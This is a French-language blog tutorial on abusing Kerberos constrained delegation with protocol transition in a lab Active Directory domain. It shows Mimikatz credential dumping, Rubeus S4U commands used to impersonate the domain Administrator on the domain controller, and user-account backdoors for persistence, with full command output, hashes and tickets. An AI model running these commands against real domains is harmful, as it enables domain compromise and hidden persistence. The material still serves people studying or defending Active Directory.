Délégation contrainte Kerberos avec transition de protocole
27 Nov 2020P.S: an english version will be available soon.
Bonjour,
Aujourd’hui nous allons parler de l’exploitation des extensions de protocole Kerberos S4U2Self et S4U2Proxy afin d’impersonifier un utilisateur privilégié du domaine.
L’objectif de ce post est de nous concentrer sur la délégation contrainte avec transition de protocole que nous abrègerons T2A4D
(TrustedToAuthForDelegation); comment l’énumérer, comment l’exploiter et s’en servir comme méthode de persistance.
Pour ne pas réinventer la roue, vous trouverez un très bon article introduisant la délégation kerberos sur le blog hackndo.
Mise en place de la délégation contrainte avec transition de protocole + msDS-AllowedToDelegateTo
Prérequis
Il y a deux méthodes pour bénéficier des cmdlets ActiveDirectory:
Get-WindowsCapability -Name Rsat.ActiveDirectory* -Online | Add-WindowsCapability -Online
P.S: peut également se faire offline à partir de l’iso téléchargeable ici- https://github.com/samratashok/ADModule
TrustedToAuthForDelegation
srv$
est un compte machine du domaine.
Get-ADComputer -Identity srv | Set-ADAccountControl -TrustedToAuthForDelegation $True
Set-ADComputer -Identity srv -Add @{'msDS-AllowedToDelegateTo'=@('TIME/DC.WINDOMAIN.LOCAL','TIME/DC')}
ou via GUI:
Notons que la délégation contrainte peut également être basée sur la ressource (écriture de la propriété msds-allowedtoactonbehalfofotheridentity).
Il semble en effet plus cohérent de donner la légitimité à une ressource de décider quelle autre ressource peut lui accéder. Nous reviendrons la dessus par la suite.
Rentrons dans le vif du sujet.
Enumeration
La première chose intéressante est de pouvoir énumérer les comptes de service concernés par T2A4D :
PS C:\tools> Get-ADObject -LDAPFilter "(useraccountcontrol:1.2.840.113556.1.4.803:=16777216)" -Properties distinguishedName,samAccountName,samAccountType,userAccountControl,msDS-AllowedToDelegateTo,servicePrincipalName | fl
useraccountcontrol : WORKSTATION_TRUST_ACCOUNT, TRUSTED_TO_AUTH_FOR_DELEGATION
serviceprincipalname : {WSMAN/SRV, WSMAN/SRV.windomain.local, TERMSRV/SRV, TERMSRV/SRV.windomain.local...}
msds-allowedtodelegateto : {TIME/DC, TIME/DC.WINDOMAIN.LOCAL}
distinguishedname : CN=SRV,CN=Computers,DC=windomain,DC=local
samaccountname : SRV$
samaccounttype : MACHINE_ACCOUNT
L’outil Invoke-Recon trouvera tout cela pour vous.
Scénario d’attaque
Nous allons compromettre une machine srv$
dont l’attribut useraccountcontrol possède la valeur trusted_to_auth_for_delegation.
La machine srv$
fait tourner un service SA
sur lequel un utilisateur whatever s’authentifie grâce à un autre mécanisme que Kerberos (ex. une application web avec une authentification NTLM ou basique via un formulaire). Dans ce cas, SA
(ou l’application web) ne récupère aucun ticket de service prouvant l’authentification de whatever à SA
. Ce ticket de service est normalement utilisé par le mécanisme S4U2Proxy
afin de procéder à la délégation contrainte classique.
C’est ici qu’intervient la délégation contrainte avec transition de protocole. Cette dernière va tout de même permettre le “double saut” et autoriser SA
à demander un ticket de service pour SB
en prenant l’identité de l’utilisateur whatever.
SB
est soit dans le champs msDS-AllowedToDelegateTo de SA
:
Soit SA
est dans le champs msds-allowedtoactonbehalfofotheridentity de SB
(Resource-Based Constrained Delegation).
Cette délégation va faire intervenir les extensions de protocole ServiceForUserToSelf et ServiceForUserToProxy :
-
S4U2Self va simuler l’authentification kerberos et donc la demande de ticket de service pour
SA
pour l’utilisateur whatever.
SA
va en quelque sorte demander un ticket de service pour lui-même pour un utilisateur arbitraire.
Il en résulte un ticket de serviceT,sa
forwardable qui pourra ensuite être passé au mécanisme de S4U2Proxy, ce dernier utilisé pour la délégation contrainte classique. -
S4U2Proxy va utiliser
T,sa
comme preuve de l’authentification de whatever auprès deSA
et ainsi récupérer un ticket de service forwarded pourSB
. -
L’utilisateur arbitraire whatever se connecte au service
SB
Si le compte de service T2A4D
faisant tourner SA
a été compromis, nous pouvons générer un T,sa
pour un compte arbitraire (Administrateur du domaine) pour un service autorisé (voir msDS-AllowedToDelegateTo ou msds-AllowedToActOnBehalfOfOtherIdentity).
Les SPNs étant interchangeables (partie non chiffrée du ticket de service), il est possible de modifier ce dernier par un autre SPN du même compte de service (ex: CIFS/DC au lieu de TIME/DC).
Le compte impersonifié doit pouvoir être délégué.
Il ne doit être ni Protected Users, ni “Account is sensitive and cannot be delegated”.
Exploitation
Il sera nécessaire au préalable de compiler Rubeus (depuis le repo Rubeus, lancer le projet, Build -> Build Solution
).
On suppose ici que la machine srv$
a été préalablement compromise. On récupère ses credentials :
C:\tools> C:\tools\Mimikatz\x64\mimikatz.exe "privilege::debug" "sekurlsa::logonPasswords" "exit"
.#####. mimikatz 2.2.0 (x64) #19041 Sep 18 2020 19:18:29
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( [email protected] )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz(commandline) # privilege::debug
Privilege '20' OK
mimikatz(commandline) # sekurlsa::logonPasswords
Authentication Id : 0 ; 19484783 (00000000:0129506f)
Session : Interactive from 2
User Name : DWM-2
Domain : Window Manager
Logon Server : (null)
Logon Time : 9/25/2020 10:06:29 AM
SID : S-1-5-90-0-2
msv :
[00000003] Primary
* Username : srv$
* Domain : WINDOMAIN
* NTLM : b5858035cb595dd82050f9193b220232
* SHA1 : b7607fdc98a40ae1cfb47478b8d929139d18f6cb
tspkg :
wdigest :
* Username : SRV$
* Domain : WINDOMAIN
* Password : (null)
kerberos :
* Username : SRV$
* Domain : windomain.local
* Password : HXEq%dCV$Qp0`b-:LE,zT]x%Sl&G_n8C1eP(aIymKGM-d^E;J5>$uj*0? &duWc:"$tL$KtkJuqE+t[[email protected]$#YA:O$Bh<%[email protected] ,i6q^JK=q9bV:Ue?Y
ssp :
credman :
...
Maintenant il nous faut dérouler les S4U pour générer un ticket de service, non pas pour TIME/DC, mais pour CIFS/DC pour l’utilisateur WINDOMAIN\Administrator.
Vérifions que le share \\DC\C$
nous est refusé:
C:\tools>dir \\DC\C$
Access is denied.
En premier, nous demandons un TGT pour le compte de service compromis srv$
:
C:\tools> C:\tools\Rubeus\Rubeus-master\Rubeus\bin\Debug\rubeus.exe asktgt /user:srv$ /domain:windomain.local /ntlm:b5858035cb595dd82050f9193b220232 /outfile:srv.tgt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.5.0
[*] Action: Ask TGT
[*] Using rc4_hmac hash: b5858035cb595dd82050f9193b220232
[*] Building AS-REQ (w/ preauth) for: 'windomain.local\srv$'
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIE5DCCBOCgAwIBBaEDAgEWooID9DCCA/BhggPsMIID6KADAgEFoREbD1dJTkRPTUFJTi5MT0NBTKIk
MCKgAwIBAqEbMBkbBmtyYnRndBsPd2luZG9tYWluLmxvY2Fso4IDpjCCA6KgAwIBEqEDAgECooIDlASC
A5DCmCD2rczQzoD7RBj3++6B+e7j68hijB0EoPUE87/OBc6Rw5hAPLzcWFJC8sfBuWWywOB/Y4O6Z9Xv
IKQsk8mypOz33ffprU2NhtGGz9fcuy2oFKonUhUU3QSCgMT16KOfkpt2QYsan9zV4vUJpdEDrRCkdKCx
+bu+dL63100hpjT8BlOZDsobNBPalaQRo1AihpxPgA48UtsDVB/hG0A4monF5x2wCBsoKy+7MEBi0CAa
tLDv60ly4eIvRPijEXkN3Zmm/l1wIzWt4WpcGFdpoSTS+VLkgws9zHVCuoQlOGWURjTHRksHjIG6Exkf
KXyCBCuO6vUxC+DUv3vCVC1wBEs5e7VXtGPhUzd8jJoSVCc+oSv4zXS+NzVf0RTr8ephMHxrXzzpCVQL
y+3fLU+5/xcnzZiTypBDnjeluHKnlj+cZhQVniQU5PEhGw+DnaL22QZqOPY08VouXUtE44spKsrRGu8N
qkwqdLVFTDSNNYgUGFGAvUG7QyWeC/XhbYvA5dpM9DUXhVo7ri3A4TZbLSfdrfiy14cOrl6AV8yD1Afo
+Dks8KELhnba6JWdY6RVgbgXgvwDuy69JKrTPhifpTwEMrvbJejRnM0iD4YwwPTY6qT9xtXDRw5nfb/N
yd2WZVmwlFsg3JBl0VCNAzfTxyZLhta5s8G8lRJmpBTUPgxWXVleta4v9XGGoWuT0WlmSveXSKrowwLZ
BhHaSm0/IVRypnWyJYEY+PU7LXOsHDt3arS8WWMUV/niRYEVSIHM86AF5m7VJL52XRXeM45u/jtpWwfL
b0/Dx0Hma2A/dti+2ns+PyjQxhMxj9iqKwyVAsNYkKlTL8HgD/NqT+Tt2Lh7CnhP6gqIpdQswTUq/XLO
8FA/ZKtg13mF0A8FqbUKbmcntXc6+oBklkoQAilQSbShmrVuqLAMEoMOnc2l7S0tTGpDlPkNzIzcTk9l
BdPbVvmWhMOu8JV/SywUW60pO3YpoBu8qpIuHUboFNbzBszDh+N0D9WK8Idt5YSQAqVpRQY01aDiO1H8
rOq1yrDlShkzNG2pixurvyNsckdRRytESyggACpn12cXOWOOUcQzMyf42m+gyuj4WaoL98elvax0Qz51
wSFpyoBq4gj1QF+h2RroJabfKBIwemCbeKD7CE5gQEkYLWCjoSNwzYGMEmtVZdDib8nlIRarsqNsrZGF
RTpD9hg1sjrWJhZ9gjijgdswgdigAwIBAKKB0ASBzX2ByjCBx6CBxDCBwTCBvqAbMBmgAwIBF6ESBBD6
04gmG9bj12WZbdd2ZJYboREbD1dJTkRPTUFJTi5MT0NBTKIRMA+gAwIBAaEIMAYbBHNydiSjBwMFAEDh
AAClERgPMjAyMDA5MjUxODA1MDdaphEYDzIwMjAwOTI2MDQwNTA3WqcRGA8yMDIwMTAwMjE4MDUwN1qo
ERsPV0lORE9NQUlOLkxPQ0FMqSQwIqADAgECoRswGRsGa3JidGd0Gw93aW5kb21haW4ubG9jYWw=
[*] Ticket written to srv.tgt
ServiceName : krbtgt/windomain.local
ServiceRealm : WINDOMAIN.LOCAL
UserName : srv$
UserRealm : WINDOMAIN.LOCAL
StartTime : 9/25/2020 6:05:07 PM
EndTime : 9/26/2020 4:05:07 AM
RenewTill : 10/2/2020 6:05:07 PM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : +tOIJhvW49dlmW3XdmSWGw==
Ensuite ce TGT va nous permettre d’initier le S4U2Self. Ensuite interviendra le S4U2Proxy comme expliqué précédemment pour le service CIFS (voir /altservice:cifs) :
C:\tools> C:\tools\Rubeus\Rubeus-master\Rubeus\bin\Debug\rubeus.exe s4u /ticket:srv.tgt /msdsspn:TIME/DC /impersonateuser:Administrator /domain:windomain.local /altservice:CIFS /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.5.0
[*] Action: S4U
[*] Action: S4U
[*] Using domain controller: dc.windomain.local (192.168.38.102)
[*] Building S4U2self request for: '[email protected]'
[*] Sending S4U2self request
[+] S4U2self success!
[*] Got a TGS for '[email protected]' to '[email protected]'
[*] base64(ticket.kirbi):
doIFuDCCBbSgAwIBBaEDAgEWooIEsjCCBK5hggSqMIIEpqADAgEFoREbD1dJTkRPTUFJTi5MT0NBTKIR
MA+gAwIBAaEIMAYbBHNydiSjggR3MIIEc6ADAgESoQMCAQGiggRlBIIEYcxRH6oOpVLCdgbZ6gomDOHM
fSpxdDDx/VFEJEPRPY56MsZp/cG9wHiegP+xgXX6cC+5IlvoBWN/90zftzZH8xPIIJXnCLGKrApdov3m
LU5igHK3NITyU5IUaaAwVYSJEfVwp0jgyOoGPP1g+3CJ8tEpeRDAvWGwt+YzeA+kw5HkRu1lge39utYd
nTX4vdx0Gj6REbMlTHLax6jmwux4uBSsgz1Dqri9lvfLetE7W2v5EyeLL8pw9FdMmjyObLUuL7eWj4/D
N46PD1RJ/YyDxuvMQKzMF1F2qKl9cAlnl7hn6Nv7GaSxEawZ/iFXJ34gGHrqmg75jJLNzHjBvx29Uxee
cRBRbSV4u3LNXjPoWQdd72/F/7xdj8o1Wyzn8DcSOCt0LOkVjNEJdmPMJUwXkxFu5PSACgrUyWjsxh6A
l7VoGLX2rzPO5ErJz92byGRIK4zlSy+Vlj1y4GrpUvsM6hjvg8Gf4SFHYkRrx1UMKf2ga2hBTOjrUHVH
H6pDmYhUD7DCtX0kHymGvu6QsRbHyXI3lNDWQ2vBspxYq+UvzNMS8OI3HnhHxZ9UdO7BiuMnNw+8VX/L
X4X3Qqh4k4Y5BgefNZ5LfgoPWb3eCjoJC/02bRTia4FPMvRUp9YdT4fQMOUzOSSSRHyS+Id29IDdMq3X
Y2L4QyPT+eD+eF8M+1icZMtD88YiutoQzPL4LX/O4QJPoAkW1yVJR25i/0jM/0HSnNHC8Sv0WFjuHNbU
K7a6cCZHBl8hGSsh5ZUxM90Sp/hPDkRe1f1ymBtOH7muLQUwegoDjVPUQ3QWOeFCzW6Z0yEixhjiIiiJ
amcgYZOzcmb/e3ncPyfiL/90wgN+fdWY4TAW1qz5EqlZUpT+S0n89axHfdSSVaOvsSbqTUKRaNxeK8wE
FmFpTe7QGAy+KQcfW9utrAQfmnr9c/EjkYURYiktAoTZH0kuttIVuXIAAwDJln/nKelf8e5C+MK0DNof
FaNMH/WhX06d8JFsKHkCweWkIghtYuMsAHpItDZ7apWQqY915QwczLCHUxGJHfJVabAseqPsRDjLDv0r
tq1PkIQ1JAQYNGYOhHTSxlgp2Zn5HlmPnGh1CP2+cqhBXUg2bXlYIUSVTckZfjnyneZ+ApmK4KIx8gr0
ceLXZoYVPa0hjzT+/Mm9daomDJRssRGDrudoh3XzGG9RmRWMkFEVDkO60Hp3Bvsi6sjbaEJNEbU8mjpj
1ksggx17H3kN5wkTidvMxpMpf7DEGFRzOQmtUcvwYI3mK3K4eTo7OEJaN+w3GWyqvStEFmcx37u6t8TB
4MmCOGtHNkasy/x4//Tz3v399I68h09Jmq66weMDNwstpd4qEXbKe3caCLqo5joo9tDkZ2mWVRCsJFnk
sQb/RE4lja1m157yEBOGaDt6wNcRRaq68BzUe33bE61pWInoyrbodzc7taE0DvELpLcx2TXTjZaEBIQq
oDD75ya/XgMrEHfP3GH9bJZJKu5PsJqAo4HxMIHuoAMCAQCigeYEgeN9geAwgd2ggdowgdcwgdSgKzAp
oAMCARKhIgQgCWWT9pRXAEkSPGgQMKizTyzBHYCfq+EQAQr3MKs7loqhERsPV0lORE9NQUlOLkxPQ0FM
oiowKKADAgEKoSEwHxsdQWRtaW5pc3RyYXRvckBXSU5ET01BSU4uTE9DQUyjBwMFAEChAAClERgPMjAy
MDA5MjUxODA1NDVaphEYDzIwMjAwOTI2MDQwNTA3WqcRGA8yMDIwMTAwMjE4MDUwN1qoERsPV0lORE9N
QUlOLkxPQ0FMqREwD6ADAgEBoQgwBhsEc3J2JA==
[+] Ticket successfully imported!
[*] Impersonating user 'Administrator' to target SPN 'TIME/DC'
[*] Final ticket will be for the alternate service 'cifs'
[*] Using domain controller: dc.windomain.local (192.168.38.102)
[*] Building S4U2proxy request for service: 'TIME/DC'
[*] Sending S4U2proxy request
[+] S4U2proxy success!
[*] Substituting alternative service name 'cifs'
[*] base64(ticket.kirbi) for SPN 'cifs/dc':
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
TE9DQUypFTAToAMCAQKhDDAKGwRjaWZzGwJkYw==
[+] Ticket successfully imported!
Nous avons bien notre ticket de service pour CIFS/DC au nom de WINDOMAIN\Administrator :
C:\tools> klist
...
#1> Client: Administrator @ WINDOMAIN.LOCAL
Server: cifs/dc @ WINDOMAIN.LOCAL
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate name_canonicalize
Start Time: 9/25/2020 18:05:46 (local)
End Time: 9/26/2020 4:05:07 (local)
Renew Time: 10/2/2020 18:05:07 (local)
Session Key Type: AES-128-CTS-HMAC-SHA1-96
Cache Flags: 0
Kdc Called:
...
Testons :
C:\tools>dir \\DC\C$
Volume in drive \\DC\C$ is Windows 2019
Volume Serial Number is 28C8-9A14
Directory of \\DC\C$
09/27/2020 08:50 AM <DIR> PerfLogs
09/27/2020 08:06 AM <DIR> Program Files
09/27/2020 08:00 AM <DIR> Program Files (x86)
10/20/2020 01:07 PM <DIR> tmp
09/27/2020 08:00 AM <DIR> Users
10/20/2020 01:26 PM <SYMLINKD> vagrant [\\vboxsvr\vagrant]
10/20/2020 01:10 PM <DIR> Windows
0 File(s) 0 bytes
7 Dir(s) 36,839,563,264 bytes free
Persistance
Pour positionner l’attribut TRUSTED_TO_AUTH_FOR_DELEGATION, il nous faut le privilège SeEnableDelegationPrivilege.
Fortunately Microsoft protect any user from setting this flag unless they are listed in the User Rights Assignment setting “Enable computer and user accounts to be trusted for delegation” (SeEnableDelegationPrivilege) on the Domain Controller. So by default only members of BUILTIN\Administrators (i.e. Domain Admins/Enterprise Admins) have the right to modify these delegation settings.
Une méthode de persistance intéressante consiste, à partir d’un utilisateur compromis possédant le privilège SeEnableDelegationPrivilege
, à positionner la valeur TRUSTED_TO_AUTH_FOR_DELEGATION
sur un autre utilisateur compromis lambda pouvant être délégué, et à éditer le champs msDS-AllowedToDelegateTo
avec le SPN CIFS/DC
par exemple, permettant ainsi de rejouer l’attaque.
T2A4D sur un utilisateur arbitraire du domaine
Vous êtes admin de dom, cependant les groupes protégés sont supervisés par le SOC, ces derniers ont leurs descripteurs de sécurité remis en état par le mécanisme de SDProp
(AdminSDHolder), etc, autant d’éléments qui vous font dire que vous aimeriez backdoorer un utilisateur qui peut passer le plus de temps possible sous les radars (espérons cependant qu’une délégation vers un DC est supervisée par le SOC).
Jouons cette méthode dans notre lab. L’utilisateur bleponge
est un utilisateur du domaine tout ce qu’il y a de plus banal, admin01
est ce pour quoi vous avez tant sué ces derniers jours:
PS C:\> WMIC OS Get Name
Name
Microsoft Windows 10 Education N|C:\Windows|\Device\Harddisk0\Partition2
PS C:\> whoami
windomain\admin01
PS C:\> net user admin01 /domain | Select-String "Group"
Local Group Memberships
Global Group memberships *Domain Users *Domain Admins
PS C:\> net user bleponge /domain | Select-String "Group"
Local Group Memberships
Global Group memberships *Domain Users
PS C:\> Get-ADObject -Identity bleponge -Properties distinguishedName,samAccountName,samAccountType,userAccountControl,msDS-AllowedToDelegateTo,servicePrincipalName | fl
useraccountcontrol : NORMAL_ACCOUNT
distinguishedname : CN=Bob ble. Leponge,CN=Users,DC=windomain,DC=local
samaccountname : bleponge
samaccounttype : USER_OBJECT
PS C:\> Get-ADUser -Identity bleponge | Set-ADAccountControl -TrustedToAuthForDelegation $True
PS C:\> Set-ADUSer -Identity bleponge -Add @{'msDS-AllowedToDelegateTo'=@('CIFS/DC.WINDOMAIN.LOCAL','CIFS/DC')}
PS C:\> Set-ADObject -Identity bleponge -SET @{serviceprincipalname='nonexistent/BLAHBLAH'}
PS C:\> Get-ADObject -Identity bleponge -Properties distinguishedName,samAccountName,samAccountType,userAccountControl,msDS-AllowedToDelegateTo,servicePrincipalName | fl
useraccountcontrol : NORMAL_ACCOUNT, TRUSTED_TO_AUTH_FOR_DELEGATION
serviceprincipalname : nonexistent/BLAHBLAH
msds-allowedtodelegateto : {CIFS/DC, CIFS/DC.WINDOMAIN.LOCAL}
distinguishedname : CN=Bob ble. Leponge,CN=Users,DC=windomain,DC=local
samaccountname : bleponge
samaccounttype : USER_OBJECT
Attention à la commande Set-ADObject -Identity bleponge -SET @{serviceprincipalname='nonexistent/BLAHBLAH'}
.
En effet, pour que le mécanisme de S4U2Self fonctionne avec Rubeus, un SPN doit être positionné sur l’utilisateur bleponge
, sans quoi une exception sera propagée:
...
[!] Unhandled Rubeus exception:
System.NullReferenceException: Object reference not set to an instance of an object.
at Rubeus.S4U.S4U2Proxy(KRB_CRED kirbi, String targetUser, String targetSPN, String outfile, Boolean ptt, String domainController, String altService, KRB_CRED tgs, Boolean opsec)
at Rubeus.S4U.Execute(KRB_CRED kirbi, String targetUser, String targetSPN, String outfile, Boolean ptt, String domainController, String altService, KRB_CRED tgs, String targetDomainController, String targetDomain, Boolean s, Boolean opsec, String requestDomain, String impersonateDomain)
at Rubeus.Commands.S4u.Execute(Dictionary`2 arguments)
at Rubeus.Domain.CommandCollection.ExecuteCommand(String commandName, Dictionary`2 arguments)
at Rubeus.Program.MainExecute(String commandName, Dictionary`2 parsedArgs)
Maintenant vous n’avez plus qu’à retourner sur notre section Exploitation et à tout dérouler dans le contexte de notre utilisateur bleponge
.
En testant avec la classe de service HOST
(HOST/DC), il nous a été impossible de lister notre share \\DC\C$
. Ceci a déjà été rencontré par pixis.
SeEnableDelegationPrivilege
Nous pouvons également backdoorer un utilisateur en lui attribuant le privilège SeEnableDelegationPrivilege
, cet utilisateur pouvant ainsi positionner le TRUSTED_TO_AUTH_FOR_DELEGATION
sur une autre ressource. Cependant, nous aurons également besoin des droits nécessaires pour écrire le champs msDS-AllowedToDelegateTo
.
The End
N’hésitez pas à commenter / poser vos questions. Vous pouvez également me contacter sur Twitter.
A bientôt.
Phackt.